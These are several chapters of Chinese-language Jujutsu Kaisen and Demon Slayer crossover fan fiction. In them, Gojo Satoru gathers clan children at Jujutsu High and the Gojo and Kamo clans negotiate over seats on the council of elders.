鬼舞辻无惨怔怔地看着烟火的余晖,喃喃自语,声音轻到仿佛要飘散在风中。 “会觉得可惜吗?” “有……一点点。”五条悟冲他wink一下,晃动着四肢,伸了个大大的懒腰,“真的只有一点点,而且现在已经没有了。” “美好的事物存在的如此短暂。” 五条悟硬生生截断他的话,把自己的声音插了进来,“但我超级开心!” 鬼舞辻无惨轻哼一声,没有出声,也没有叹息。 烟花易逝,有人觉得既然这绚烂之物终会消弭,那么一切的存在就失去了原本的意义。因为烟花的尽头是消散,生命的尽头是死亡,万事万物由涨到落,终是抵不过自然无情的生息演变。既然一切存在都会消亡,那人生在世也毫无意义,纯粹是生命体的本能罢了。 但五条悟会回复他“超级开心”,并且,他相信,这个回答会一直如此。 ……… 纯粹宏大的命题会消弭个体的独特性,正如生命之意义若是能够如此简单的就得到诠释,它就不会成为人类恒久的主题。凡人啊,汇聚在烟火之下的芸芸众生啊,为这点点绚烂而聚集于此,为这点点绚烂而发自真心地感到幸福,为易逝的烟火发自真心地感到遗憾。 所以这就是人,享受着一切的美好,又追忆着这种美好。 人在这一点的微不足道的事物上找到灵魂得以栖息之所,然后整装待发,迎接明日的旅途。 正如明日之事不可察,已逝之事无可改,所以人活在当下。 死亡和烟火都太过于遥远,而此时此刻,他的身旁,触手可及的另有其人。 ……… 五条悟敏锐地觉察到他的心情转好,有些好奇地凑过去。 “你很高兴吗?” 鬼舞辻无惨:“算是。” “因为什么!”五条悟的眼睛亮的出奇,“因为烟花吗?” 鬼舞辻无惨语气平缓地说到:“因为你。” 五条悟: ! ! ! ! ! ! ! ! ! ! ! ! 那一瞬间,五条悟感觉自己整个脑子里都炸开了同夜间一样绚烂的烟火,挣破牢笼的火光差点把他的头盖骨烫出一个个小坑,连反转术式都快不起作用了。 五条悟深吸一口气,紧紧闭着嘴,眉头拧紧,然后十分勉强地将脑袋偏移到另一边。鬼舞辻无惨的视线随着他的动作看过去,只见五条悟正把脸怼在手机屏幕上,露出两边上扬的嘴角。 然后像是特意掩饰一样,五条悟猛得咳嗽了几声,让自己的嗓音回归正常,然后装模作样地说:“……其实我知道你在想什么的啦。” “但是呢! 我的答案一直都摆在这里。” 人类一直渴望留住注定消弭的事物。 烟花易逝,我们可以拍照,将画框至于桌面之上。 但恐惧死亡,恐惧所在意的人的逝去,永生是否是一个好的选择? 若生命不会逝去,那么对生命的珍重就无从谈起。 鬼舞辻无惨的脑中陡然出现许多画面。 “你很满意自己现在的生活?” 鬼舞辻无惨瞥了一眼五条悟,凑过去,声音又低又轻,还带着不可言说的重量。 “告诉我,你现在最想做的,是什么?” 五条悟楞了一下,然后扬起一个大大的笑容。烟火的光亮逐渐消弭,这至高的楼层,夏日湿热的空气中,五条悟的灵魂由内而外,像是在闪着光一样夺目。 “老子之前跟你说的,才不是什么玩笑话! 那群把持咒术界的烂橘子们,老子看他们不顺眼很久了! 老子要清算 ! ! ! 通通清算 ! ! ! ” “很好。”鬼舞辻无惨语气认真,好像还是在五条悟口中学的这句话,“很有精神。” “那你又为什么要去做这些呢?” 五条悟一撇脑袋,语气理所当然:“因为老子乐意 ! 想做就要去做啊,管他什么有的没的原因,因为我想做! 至于后悔?后悔个毛线啊!为自己的理想努力这件事,简直太酷了啊!” 五条悟紧紧看着鬼舞辻无惨,刚开始还有点心理障碍说不太出口。然后他的目光落到面前之人的眸子里,顿时脑子一热,邀请的话语脱口而出。 “要一起吗?朋友!” 如果你现在略感迷茫,不如与我同行。 五条悟的邀请带着浓浓的期待,他向鬼舞辻无惨伸出手,眼睛凝视着他。 没有让他失望,鬼舞辻无惨垂下眸子,在对方期待的目光中,将手搭了上去。 掌心传来柔软的触感,五条悟低下头,六眼照例运作,从那触碰的指尖开始,湛蓝色的光点在蔓延,对方的身体里,甚至充斥着自己的咒力。 五条悟的瞳孔微微放大,呼吸放轻,似乎不愿惊扰此刻。 “嗯哼。”鬼舞辻无惨挑眉,“是谁曾经说过绝对不会需要我帮忙的?” “啊呀。”五条悟收回视线,装作若无其事,睁着眼睛装傻,“是谁这么没有眼光呀,嘻嘻。” 第49章 第 49 章 青年培养:改变…… “所以, 不是说要改变咒术界吗?” 五条悟原地哼哼了两声,抓着被子角往上拉,把自己脑袋盖上。 “我就睡个觉你别……昨晚上太亢奋了。” 鬼舞辻无惨挑了下眉, 不说话, 但安静了没一会, 手机响了,是系统自带的通话铃声。 “……啊, 谁啊大清早打电话来。” 鬼舞辻无惨声音平稳,还带着点像是习惯了似的无奈,“中午了, 五条悟。” 五条悟的声音顿了一下, 不算清醒的脑子极速组织了下语言,最后选择翻了个身, 背对着鬼舞辻无惨。 “……不管,反正我没醒, 天就不算亮了。” 鬼舞辻无惨把来电号码前后看了一遍,转念一想自己也不知道几个人的电话,再怎么看也看不出名头来。 “陌生号码。” “建议挂掉。” 五条悟闷着脑袋乱说一通,青春期少年的声线还没有发育完全, 因为困倦, 声音里还带着点迷迷糊糊的沙哑。 “这个号码按理来说除了你、夏油杰和五条家的人外, 没人知道。 是不是从夏油杰或者五条家那里知道的这个号码? 你要不要看看自己认不认识。” “啊。”五条悟反手掀开被子,然后猛地坐起来, 白发乱糟糟的, 这里簇起来那里翘着,像是缺少打理后的猫毛,“你在网上看什么资料的时候, 要是留了手机号码,不就等于号码直接被曝光在各种垃圾机构那里了吗?” 五条悟眯着眼睛,表情不爽。 鬼舞辻无惨的视线移过去,盯着他的眼睛。 五条悟脑子瞬间就清醒了,连目光都清澈了许多。 “你看了我的手机?什么时候。” 五条悟把目光移到角落,很可疑地沉默着,然后装模作样地打了个哈欠,又把脑袋埋进被子里。 “咳咳,我刚刚说什么了?还没睡够呢,你别吵我!” 铃声响了很久,然后被对面挂掉,接着同一个号码重新又打了过来。 鬼舞辻无惨按下接听键,一个沉稳的男声从对面传来。 “无惨阁下,请问五条悟是否和您在一起?” …… “听见了?” 鬼舞辻无惨没有回复,只是悠悠然地提醒五条悟。 以五条悟的听力,必然是在电话那头的声音出现之时,就已经认出了这人。 “……”五条悟再次沉默。 “别装死。” 鬼舞辻无惨踹了一脚五条悟。 “啊!”五条悟掀开被子,臭着脸盯着他,伸手,“手机,给我。” “五条悟!” 夜蛾正道暴怒。 “哎呀!”五条悟懒洋洋的声线把对面的声音抵了过去,“夜蛾不要老是生气,都当校长了脾气就随和一点嘛———— 不然会吓到新入学的小朋友哦。” 夜蛾正道额间青筋暴起,选择低头看了一眼手中还未完成的咒骸,心里默念不生气不生气。 “你最好来解释一下,为什么高专里会多出来三个几岁的小孩子,有一个还是加茂家的祖传术式所有者?” 五条悟五指伸进头发抓了两下,顺带着理了理杂乱的发丝。 “夜蛾别太震惊哦。这两天估计还有一个要来呢。” “还有?”夜蛾正道语气诧异。 “而且是禅院家的祖传术式哦——” 五条悟说完,两人间沉默了片刻,夜蛾正道心里少有的怒意都转化为惊诧。 “你是怎么说服另两家,将祖传术式的所有者送来高专的?” “诶!”五条悟眨眼间就换好衣服,“无下限术式,很神奇吧?” “悟,你老实告诉我。” 电话的对面,夜蛾正道面色凝重,但为人师长的身份让他不得不保持稳重。 “你和杰准备做什么?” “杰?”五条悟目光呆滞地盯着天花板,转而又变成惊讶,“杰跟你说了什么?” “他昨天问我能不能代表高专开官方证明。” 五条悟:“那你是怎么回的?” 夜蛾正道叹了口气,虽然他心里认为夏油杰不会做什么坏事,但这个东西确实不是单他自己就能决定的。这种东西,一般都要经过高层的审核,本身那群人就对夏油杰单方面退学这件事很不满了,怎么可能随他的愿。 “我如实回答了他,并询问他在做什么。” “所以他没和你说吧。” 五条悟打了个哈欠,语气理所当然,“杰那家伙,在事情没有真正安定下来之前,是不会给你们报喜的啦。” “那你呢?五条悟。” 夜蛾正道沉着声线,并且心里隐隐有预感。 “我? 御三家内部利益纠缠,各种派系争斗不休。而祖传术式又是直接关系到家族盛衰的关键因素。 再加上祖传术式的出现概率不一,几千年来,三大家族的祖传术式像今日一样,和平地待在一起,这可是从未有过的。” 五条悟语速缓慢,娓娓道来,声音中带着绝对的自信。 “夜蛾老头,你知道这代表着什么吗?你知道这代表着,我们可以做什么吗?” 夜蛾正道鲜少没有在意五条悟对自己的称呼,或者说,他仍旧为五条悟的野心而感到震撼。 夜蛾正道:“为什么是这个时间点?” 五条悟慢悠悠地走到洗漱间,用雕着漂亮花纹的木质梳子整理自己的头发,还转着头,欣赏镜子里照出的自己。 “因为老子在这里。” “只有这个?” 夜蛾正道怀疑到。 “啊,你怀疑老子的能力吗?” “我相信你在大事上不会如此草率。” 五条悟顿了一下,笑容在面上绽开,洋洋得意。 “真有眼光!” 五条悟的眼睛亮的出奇,其中展露出绝对的信念。 “老子现在可是名副其实的最强,而加茂家和禅院家的祖传术式还没有成长起来,目前得以影响咒术界全局的三个人。 目前,咒术界仅有的三位特级咒术师。 我,杰,九十九由基。 我想我们的最终目标都是一样的,就是改变这个咒术界。” “而且。”五条悟不留痕迹地看了一眼鬼舞辻无惨,“我现在可是有绝对的条件,能挑起整个高层的冲突与斗争。 那群老东西在自己的位子上待得太久了,把自己当成操控一切的神明,已经忘了,这世界不是只有他们,才有能力管理咒术界的。” 五条悟轻笑一声,给鬼舞辻无惨使了个眼神,示意两人现在要出门一趟。 “总之,我现在立刻就回高专安排那几个小崽子,这段时间里,麻烦你照顾一下他们咯。” 此时此刻,高专内,夜蛾正道表情无奈地合上手机,然后看向自己办公桌前面的三个小孩和一个女人。 加茂琴作为这外来客人之中唯一的成年人,在看见夜蛾正道表情不算轻松之时,主动开口:“校长先生,很抱歉我们的到来为您造成了困扰。” 夜蛾正道摆摆手,“我没有责怪各位的意思。 几位对住宿条件方面是否有要求,敝校的房间还算宽敞,如果没有问题的话,我会为几位指定晚上居住的房间。” 加茂琴的声音很温和,就跟她这个人一样温柔似水。 “为您添麻烦,本身就是我们的不是了,怎么还会要求更多。只要我和宪纪的房间相近就完全可以了。” 加茂宪纪的手被母亲握着,用力点了点头。 “这种要求不是问题。”夜蛾正道欣然应下,并主动询问禅院姐妹的要求,“两位是双胞胎吧,也要连在一起的房间吗?” 虽说两个小姑娘只有几岁,但夜蛾正道并没有把她们当做什么都不懂的稚子。毕竟生活在御三家的孩子,无论天赋高低,无论年龄大小,察言观色都是必须学会的本领,她们的心智已然成熟,当然需要以平等的态度关注。 当然,五条悟那种全家族上下都要看他脸色的情况除外。 “要的,谢谢校长。” 禅院真希率先开口,但真依扯了扯姐姐的袖子,弱弱地说。 “校长,我能不能和姐姐一起住……” 两姐妹的性格一目了然,夜蛾正道放轻了回答的声音,面上表情也缓和下来。 “当然可以,只不过高专的学生宿舍只有单人间,如果有其他需求的话,比如床位这些,需要重新布置。” 真依这个时候,心里想的是会不会太麻烦了,但这句话还没说出口,禅院真希率先出声,接过了话茬,顺带着握紧了妹妹的手。 “完全没有问题,我和妹妹睡单人间也可以,我们在禅院家的时候,就是睡同一个房间的。” 夜蛾正道点点头,对胆识和表达能力出色的禅院真希显然有些赞赏。 “我明白了,不过不用担心,虽然是单人间,但以宿舍和床铺的大小,我想对你们来说,并不会拥挤。” “我对几位的到来并没有意见,并且不如说是非常欢迎。 我先带你们去宿舍吧,等悟那家伙回来了,再商量其他的事情。” 夜蛾正道打开办公室的门,在几人身前领路。高专很大,但学生很少,而且很多常年在外出任务,显得有些冷清。 这还是少有的,非入学时间,有大量的咒术师家系的孩子进入高专呢。 五条悟这家伙,还真是喜欢张扬着做大事。 夜蛾正道为他们领路的同时,也在为几人介绍自己即将生活的地方,并尽可能地让自己的面部表情和态度友善起来。 第50章 第 50 章 青年培养:改变…… “夜蛾你干什么! 一见面就动手是吧, 老子还是不是你最可爱的学生了!” 五条悟搭着鬼舞辻无惨的肩膀,仗着自己比他高,十分自然地把他当成了横在自己和夜蛾正道中间的一堵墙, 只从他后脑上露出一双眼睛。 夜蛾正道面容沉稳, 墨镜挡住了整个眼睛, 所以看不太清他的整体表情。 “你不让我操心就算我走运了,五条悟。” 五条悟摆摆手, 手臂和手掌呈现波浪形的曲线。 “哎呀~话别这么说嘛。” “除了容易惹你生气以外,其实也没什么不好的吧。” “光这一点就够了吧?”夜蛾正道照例叹了口气。 “啊对了。” 五条悟把下巴搁在鬼舞辻无惨的肩膀上,白色的发丝戳刺着这人的侧脸, 有些痒痒的, 惹得鬼舞辻无惨伸手怼着五条悟的脸颊,把人往外推。五条悟的脸陷进去一块, 说话的声音都含含糊糊的。 “杰不是给你们都留了告别信吗……那你看完没有呀……” 夜蛾正道没有五条悟想象中的那样生气,或者说, 夜蛾正道的表情平静的有些出奇了,一点都不像之前被恶作剧时候的恼怒。 “我已经说过他了。” 五条悟眨巴眨巴他的大眼睛,目光中透出好奇。 “怎么说?” “这孩子也是,需要咒骸完全可以直接和我说。 明明平时天不怕地不怕的, 怎么一遇上类似的事就不开口了呢。” 夜蛾正道的声音顿了一下, 然后又转头盯着五条悟。 “还有, 现在是为了搞定你整出来的事,别把话题扯到别的地方。” “知道啦知道啦——” 五条悟在被鬼舞辻无惨扯着领子拖走的时候, 还在掐着嗓子冲夜蛾正道嚷嚷着。 “请在前带路吧。” 鬼舞辻无惨一把薅过五条悟的后领, 把人拉到自己旁边。冲着帮人闭嘴去的骨刺被五条悟在半途中抓住,然后五条悟默默视线下移,给他做了个标准的露齿笑。 此时此刻, 宿舍楼内。 加茂琴把加茂宪纪抱在怀里,爱怜地吻着他的额头,而后用脸颊贴着他的头顶。双手又抱得紧了些,把他整个人都护在怀抱里,肩膀微微颤抖,抑制不住啜泣声一点点流露出来。 “母亲……” 加茂宪纪眨眨眼,眼里模糊了起来,幼子稚嫩的声线微微颤抖。 “宪纪,呜……我,妈妈还以为……” 加茂琴几乎要泣不成声,她在加茂宪纪被带走之后,时常以泪洗面。自知无法抗衡家主的决定,为了不成为儿子的拖累,在几日前,加茂琴就已经有了退出家族的想法。 造化弄人,她的孩子继承了加茂家的祖传术式,但她自己只是一个没有背景的侧室。加茂宪纪的术式展露之后,加茂琴担惊受怕,最终还是逃不过母子相离的命运。 但命运似乎跟她开了个天大的玩笑,在家主召见她的时候,加茂琴以为自己的结局就要到了,但家主却是让她陪着宪纪来高专。 女人的眼泪流淌着,紧紧攥住加茂宪纪的衣服,以确保,这不是虚无的梦境。 “母亲,别哭,母亲。 我在这。” 加茂宪纪的情绪其实也不平静,紧紧贴着母亲,似乎是被母亲的情绪感染,气息也一抽一抽的。 但就在此时,房门被敲响,加茂琴像是被吓到了,连忙用帕子擦拭眼泪。 加茂宪纪的状态还算可以,只是用袖子用力擦了两下眼睛,然后就从母亲膝上跳了下去,前去开门。 门被拉开一小个口子,门外,禅院真希拉着妹妹的手,直直地站在门外。 “下午好,我是禅院真希,这是我的双胞胎妹妹,真依。” 真依点点头,也跟着小声说了一句“下午好”。 “我想着以后就要一起生活了,就带着妹妹来介绍一下我们。” 加茂宪纪点点头,瞬间就站直了,然后给两位女孩鞠了一躬。 “两位好,我是加茂宪纪。额,是……” 加茂宪纪陷入了小小的纠结,好在这个时候,加茂琴走来,把门继续拉开,弯着腰看向禅院姐妹。她的笑容很温柔,只是眼睛周围还泛着一圈红。 “小姑娘们,妾身名加茂琴,是宪纪的母亲。” 禅院真依看了看加茂琴的眼睛,又看了看加茂宪纪的研究,有些不好意思地说到:“那个,是不是不太方便……很抱歉我们……” “没事没事!”加茂琴连忙摆手拒绝,“你们说的对,是妾身欠考虑了。” “宪纪,你刚刚怎么支支吾吾的,想说什么?” “啊,是的。”加茂宪纪扯了扯衣袖,“就是有关于,嫡子的身份……可以说吗?” 加茂琴被吓了一跳,“这,这个是可以说的吗?” 禅院真希歪了下头,不太明白这两人想说什么。但是加茂琴也在纠结,不是很确定,这种安稳的日子能持续多久。 “这……” “当当当当——看我听见了什么?” 五条悟见到杵在门口的四人,一个箭步冲上前。 “什么可以说不可以说的,你们在干什么?” “五条先生。”加茂琴向五条悟屈膝行礼,“因为之后要一起生活,所以在向彼此介绍自己。” “啊————”五条悟的声音拉长,然后转头盯着加茂琴,墨镜完全遮掩了他的神态,加茂琴不由得紧张起来。 “怎,怎么了,五条先生。” “没有事哦。”五条悟扬起一个超级张扬的笑容,“我大概知道你们在纠结什么了。” “咳咳。”五条悟抚着胸口,清了清嗓子,“既然这样,就由最强的五条悟来为各位介绍吧!” 五条悟瞬移到禅院姐妹的身后,一只手搭着一个人的肩膀。 “这位。”五条悟拍了拍禅院真希的右肩,“禅院家,禅院真希,无术式,咒力微弱,看不见咒灵,是强化身体素质方面的天与咒缚,但并不完整。” “这位是她的孪生妹妹,术式的话应该是构造术式?”五条悟将视线移到真依的脑袋上,顺带着回忆了一下之前看的资料,“至于禅院家是个什么鬼地方,你们都清楚的吧?非术士者非人,这点老子都懒得骂他们。 所以这两姐妹在禅院家可谓是受尽欺辱,实在是受不了了想逃离火坑,于是被我俩带了回来。” 五条悟说着,边对鬼舞辻无惨比了个wink,可惜被对方无视了。 五条悟也不恼,眨眼睛又瞬移到加茂宪纪旁边。 “至于这位,重磅人物! 继承了加茂家的祖传术式,目前是加茂家的嫡子。但实际上呢……” 加茂琴和加茂宪纪同时瞪大了眼,心里既是担忧,但又带着一点期待。 “他首先是侧室之子哦,只是因为继承了祖传术式,就被从母亲身边带走,现在才能相见。” 禅院真希皱着眉头,脸上露出厌恶的表情。 “像是御三家能做出来的事。” “五条先生,这样一来,我们……” “不用担心。”五条悟大大方方,自信张扬地给两位底气,“在高专,没有人可以强迫你们分开。” 加茂琴脸上的凝重陡然松懈下来,面上是近乎于悲伤的感激。 “阁下大恩,妾身无以言谢……” 眼见加茂琴激动到要给他跪下,五条悟一个激灵,连忙用术式止住她的身体。 “别别别,老子最讨厌这种东西了。 真要感谢,就好好学习,好好锻炼术式,知道吗?” 加茂宪纪声音响亮,“我知道了,五条先生!” 五条悟满意地点点头,下令解散,剩下的各项事务的安排,特别是有关于高专的,实际上还是要交给夜蛾正道来做。 禅院真希看了一眼鬼舞辻无惨,在对方的视线移过来之时,又及时转开。 在几人散去后,禅院真希拽了下五条悟的衣角,面色认真。 “五条先生,您说我的身体强化并不完整?” 五条悟瞥了她一眼,陡然来了兴致。 “对哦,因为我认识完全的零咒力。” 禅院真希的眼睛陡然亮了起来,“他很强吗?” 五条悟冷哼一声,不是很想说话,但还是回答了,“偏科战神,这么说能理解吗?他甚至可以凭借五感直接感知到咒灵的存在。” “我明白了!” 禅院真希的眼中出现向往。 “我也要变强!” 五条悟对着她比了个大拇指,“很有精神!” ………… 来宿舍的路上。 “你行事有些过于着急了。” 五条悟和夜蛾正道并排走着,鬼舞辻无惨贴着五条悟站在最外侧。 “慢不下来啊老头子。” “现在这样把孩子们都聚在一起,听说禅院家的祖传术式继承者也会来高专,很多有关于术式效果的机密,只有本家的人才知道。 更何况,你会教天与咒缚吗?” “夜蛾不要天天否定老子嘛~” 夜蛾正道哼了一声,“做大事前要考虑周全。” “老子知道,要因材施教嘛—— 大不了从其他两家拿点资料和讲师来咯。” 夜蛾正道:“加茂家和禅院家愿意将祖传术式的持有者送来高专,就已经很触碰底线了,你确定他们会同意?” 五条悟嗤笑一声,对高层的家伙们表示不屑。 “老子有的是力气和手段。” 夜蛾正道无奈地看了他一眼。 “安啦——夜蛾,老子知道该怎么做,才能让他们心甘情愿做出让步。” 五条悟的墨镜有些滑落,在那双代表着苍天的瞳孔中,有光闪过,恒久不衰。 “肉食者鄙。 那群老头只知道老子看他们不爽,只知道五条家会因为老子的成长而壮大,威胁他们的地位。 但这群烂橘子,从始至终都不会相信,老子想做的究竟是什么。”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第 51 章 非武力交锋…… 伏黑女士将她的生活用品完全带走后, 家里瞬间变得冷清下来。在津美纪的房间里,伏黑惠紧紧握住她的手,眸中透出些许无措。 “津美纪, 要我陪你哭吗?” 津美纪破涕而笑, 捧着伏黑惠的脸揉了揉。 “好了好了, 其实我也有预感……”津美纪抹了下眼泪,尽可能让自己不那么狼狈, “妈妈有她自己想要的生活,我为她高兴……” 津美纪抱着伏黑惠,一边啜泣, 一边断断续续地说着:“而且, 而且现在,爸爸也有了稳定的工作。惠惠, 我也为他高兴,呜——” 客厅里, 伏黑甚尔靠在沙发上,翘着腿,一把一把地往嘴里塞着肉,然后喝了一口烈酒, 最后嫌弃地把口中残留的酒液跟着口水一起吐到地上。 电话还在接通中, 五条悟的声音从对面传来, “喂,所以你到底来不来?” 伏黑甚尔“呸”了一声, 也不知道是在嫌弃烈酒, 还是在嫌弃这糟糕的被六眼揪住的生活。 “你特么开什么玩笑。 杀人,劫货,或者五条少爷纯纯发个善心, 施舍点赏钱让我能再进一趟赌马。 找我去教人,还是几岁大的小姑娘?你有病吧五条悟?” 五条悟的声线陡然提高了,“谁让这里就你一个强化身体素质的天与咒缚呢,我不找你找谁?” “老子放你娘的……” “诶诶诶。”五条悟紧急截断他要说出口的话,“你现在面对的可是给你开工资的雇主,不留人吃饭就算了,好歹嘴上放干净点。” 伏黑甚尔紧急闭嘴,然后在心里把五条悟骂了八百遍。 “你就看老子儿子的那副样子,怎么想的让我去教小孩?脑子被捅坏了?” “而且老子也没什么可教她的。”伏黑甚尔有些烦躁地挠了挠头发,“顶天了揍一顿让人自己领悟,不听话就扔咒灵堆里。” 五条悟兴致勃勃地接上,“不听话的话还是让人体验一下高空坠落吧,扔咒灵堆容易有心理阴影。” 伏黑甚尔:………… “总而言之我不教,懒得扯上这脑残事,有这闲工夫不如多下注两盘。” 伏黑甚尔懒洋洋的嗓音混杂着恒久以来的自暴自弃,仿佛将一切都不放在心上的态度,他蔑视一切,同时也蔑视着自己。 “老子就知道你会这么说。”五条悟仿佛早有预料,语气轻快,“你确定吗?要不要再听我一句话。” “啊?”伏黑甚尔根本都懒得睁眼,眯着眼睛打盹儿,“又是给钱?” “喂,甚尔。”五条悟抬头望天,湛蓝无垠,一望无边,不做给他人看,五条悟发自真心,面上绽开一个张扬的笑。 “那小姑娘可是要否定禅院家的一切,你……不想吗?” 伏黑甚尔的表情陡然冷了下来。 不知是一直极力掩藏的内心被刨露在外,还是被五条悟勾起了在禅院家的种种,还是纯粹的反感与无聊。 总之,伏黑甚尔坐直了身子,反正这烈酒也喝不醉,不如去找更值得沉醉的事物。 “你成功了,五条悟。什么时候上班?” 五条悟:这不就搞定啦。 “越早越好,甚至今天也可以。” 挂掉电话后,五条悟靠在深棕色的木质墙面上,思绪发散。 杰那边需要官方背书,相比起禅院家,加茂家先前倒是一直在拉拢他…… Emmm……五条悟大脑放空,思维翻飞。 加茂家和禅院家,先搞谁呢? 禅院家内部派系斗争眼中,可以利用一下,五条家已经决定扶持现任的禅院家家主一派。 加茂家……根据五条家的情报网,加茂家确实延续了当年加茂宪伦的实验,继续进行咒灵实验,这是可以作为切入的一个点。但这同时也是加茂家最大的秘密,如果五条家直接介入挑明,为了不引起加茂家的反扑,五条家也必须有把柄在对方身上才对。 ………… 两天后,加茂家。 按照咒术界一贯以来的规则,由御三家分别推举家族内部德高望重的人物,出任高层的职位,作为咒术界的最高决策机构。 其下直辖包括御三家、两所咒术高专在内的咒术力量,统筹安排各项政策。具体政策的实施,则依靠御三家的家主与两所高专的校长来完成。 除此之外,虽说已经被御三家渗透成筛子了,但在明面上仍独立于御三家和高专之外的辅助监督体系。主要工作是为咒术师提供简单支援,负责官方咒术师行动、行程接送以及情报传输。 民间则是由特殊机构“窗”,负责划片区内的检测工作,主要包括监测咒力浓度和咒灵活动,有的时候还负责挖掘平民咒术师人才。 高层统筹一切,但高层中,御三家的席位占比是不平衡的,一般根据御三家具体的实力来决定。就比如当前,五条家由于出了五条悟,毫无疑问地占据了实力的顶点,其所拥有的席位也最多。而加茂家的祖传术式仍然年幼,禅院家的祖传术式流落在外,两家势均力敌。 因而,高层目前共十一个席位,五条家占据五席,余下加茂家与禅院家各占三席。而高层决策需要投票表决,超三分之二人数同意后,决策才能通过。 这样一来,不仅保证了五条家的绝对优势地位,高层的任何决策都必须经过五条家同意。又能限制其一家独大的野心,至少保证了五条家必须拉拢加茂家和禅院家的其中一家,才能完成决议。 但在五条悟夜袭加茂家后,加茂家的高层死了一位,虽说不是五条悟所杀,但事实就是,加茂家在高层中的席位数量落于最后。 目前,加茂家还存活的两位高层,一位是加茂宪森,五条悟在夜袭加茂家之时,同他有过交锋。 另一位,则是高层中唯一的女性,也是在出任高层席位后,唯一一位仍然在直接管理家族内部事务的高层,加茂弥。 加茂家在高层中的席位减少后,家族上下可谓是风声鹤唳,以家主为代表的长老会多次向她发出申请,要求重新推选高层。 新选出的高层需要投票表决,但禅院家好不容易在与加茂家的对抗中占据了优势地位,绝不可能投赞成票。而五条家目前的实力,隐隐有力压其余两家的趋势,也不会助长敌人的气势。 加茂家的另一位高层,自从五条悟夜袭加茂家那天,就已然完全不管家族情况,全身心投入实验了。所以长老们的申请都要加茂弥来处理,把她搞的是焦头烂额。 而且,在这形势紧张之际,加茂弥又迎来了几位不速之客。 在听到侍从传来五条家来访的消息,加茂弥的第一反应,是五条悟那家伙又来搞破坏了,但来人并非是五条悟,而是五条家的家主。 五条家主一副面容温和,但显然不怀好意,一派笑面虎的样子。 “日安,阁下。 听闻您今日来因重选高层一事感到苦恼,我代表五条家,像您表示深切的关心。” 真是瞌睡来了就有人送枕头,加茂弥挥手遣下侍从,示意五条家主落座。 对方来意并不明确,况且加茂弥有自己的傲气,所以也不会过于卑躬屈膝。 五条家主率先提出这个话题,她当然要跟上。 “真是多亏五条家主用心了呢,宪屹死的也确实够巧,正好搭在你们家那个六眼来闹事的时候。 这你怎么说?” 相比起高层的德高望重来讲,御三家的家主在其面前都只能算作小辈,所以面子上的功夫还是要做的。 “说明有歹徒趁悟君调皮捣乱之时,潜入加茂家作恶。 五条家本着咒术界一贯的原则,愿意为加茂家伸出援手。” 加茂弥捂着上扬的唇瓣,面上迷惑。 “你管六眼这叫调皮捣乱?瑾,你可不能睁眼说瞎话啊。” 五条瑾并不觉得自己的说法有问题,也带着点扰乱对方思维的目的,悠悠然地说:“毕竟悟君还是个孩子嘛,同诸位必定是不能比的。” “当然,重点还是……”五条瑾放下茶杯,注视着加茂弥,目光看似温和,但带着隐隐的威胁,“加茂家必然希望恢复高层席位,在下说的对吗?” “啊……你知道的,我不喜欢说场面话。我可不认为现在的五条家,还需要加茂家的协助。” 加茂弥并不吃他这一套。 五条瑾浅浅叹了口气,“您会这么想也没错,但,悟君再强,也不能直接冲到禅院家,简单粗暴地将一切仇恨消弭吧。 但倘若是禅院家内部出了问题,在下可是非常担忧呢。” 五条瑾笑容里带着些许暗示。 加茂弥面上表情不变,心里有种恍然大悟的感觉。 禅院家和五条家在某种程度上,可以算作是世仇,毕竟五条家的上一个六眼,就是被禅院家的祖传术式拉着同归于尽的。 这样一来,加茂家和五条家在削弱禅院家这一事上,就能达成共识。 但五条家在乎自己的名声,倘若是五条悟出面覆灭禅院家,势必会挑起咒术界的震荡。 大家族的内部能有什么问题呢,不过是派系林立,相互间争斗不休罢了。 正好,禅院家内部的派系斗争,也因为近期的一系列事件,愈发严重起来。 五条瑾这个态度,分明是要加茂家出手,扶持目前禅院家的非家主一派。 加茂弥试探性地说:“你想将禅院家除名?” 五条瑾摇摇头,“这点远远不够。” 御三家的大家族,自始至终都明白,他们的敌人不会允许他们全身而退。 小家族势单力薄,无力翻起浪花,狼狈逃窜,或许能保存全貌。 但五条家和禅院家间的争斗不会如此。 这仇若是结下,这冲突若是爆发,势必要将其中一方踩在脚下、分拆肢解,要对方全族各旁支、各派系支离破碎,此世再无法弥合,再无法掀起浪花才好。 第52章 第 52 章 非武力交锋:…… “呵。”加茂弥轻笑一声, 目光锐利,“有意思。” 现如今五条家的整体实力力压其余两家,加茂家反而有了和禅院家联手对抗五条家的条件。 各方利益相互倾轧, 争斗不休, 五条家可以是禅院家和加茂家的共同敌人, 禅院家也可以是五条家和加茂家的共同敌人。 “你希望加茂家出手,扶持禅院家内部的非家主派系。 好让他们自相残杀, 相互倾轧,我说的没错吧?” 五条瑾微微点了点头。 “这样你五条家倒是居于幕后了,让我加茂家落得个挑拨离间的罪名。 瑾, 年纪不大, 怎么一肚子坏水呢。” 加茂弥甚至有心情开玩笑,这代表着事情并没有她所表现出来的那样, 不可谈判。 “您这话说的,五条家自然不会让朋友吃亏。” “五条家真的有把加茂家当做朋友吗?” 加茂弥声线压低, 诘问到。 “您认为有,那便有。” 加茂弥冷哼一声,打心底里就不相信五条家是诚心来谈合作的。 “五条家私底下和禅院家家主接触的消息,你不会以为我没收到吧?” 加茂弥慢悠悠地说着:“我看啊, 说不定你们早就和禅院家达成了合作。 请我帮忙是假, 借着插手禅院家内部事务这个罪名, 把我也从高层的位置上扒下去,我说的对吗?” 加茂弥越说越激动, 甚至一掌击在桌上, 木质的桌面出现细细密密的裂痕,然后轰然化为粉末。 “反正加茂家已经是高层里最弱的了,不如同禅院家联手, 先把加茂家从御三家里赶出去。 大不了你们两家世仇,再慢慢清算。 看着我,我说的对吗!” 五条瑾如她所愿地抬头,看着对方的眼睛。眸中并没有计谋被拆穿的慌乱,反倒是气定神闲,优哉游哉。 “前辈,人到晚年,脾气不要太暴躁。 五条家当然是诚心来寻求合作的,这点不假。” “哦,是吗。”加茂弥右手撑着膝盖,语速缓慢,“我倒是觉得,你们五条家的决策,恐怕还轮不到你来全权把控吧? 五条悟这两天大张旗鼓,他干了什么,都不用我说,早已传遍咒术界。 你一个家主,真的有资格决定五条家的整体政策吗?” 说到底,加茂家要和五条悟本人谈。 “让我猜猜看。”加茂弥长呼出一口气,就像是抓住了对方最为核心的把柄,“五条悟现在,不会正在跟禅院家商量着,怎么对付我们吧? 然后让你来稳住我,顺带着让加茂家留下把柄,嗯?” “前辈,有一点您说错了。” 五条瑾悠然开口,“加茂家的把柄从不是这些。 悟君也并没有前往禅院家,而是在为您准备见面礼。” 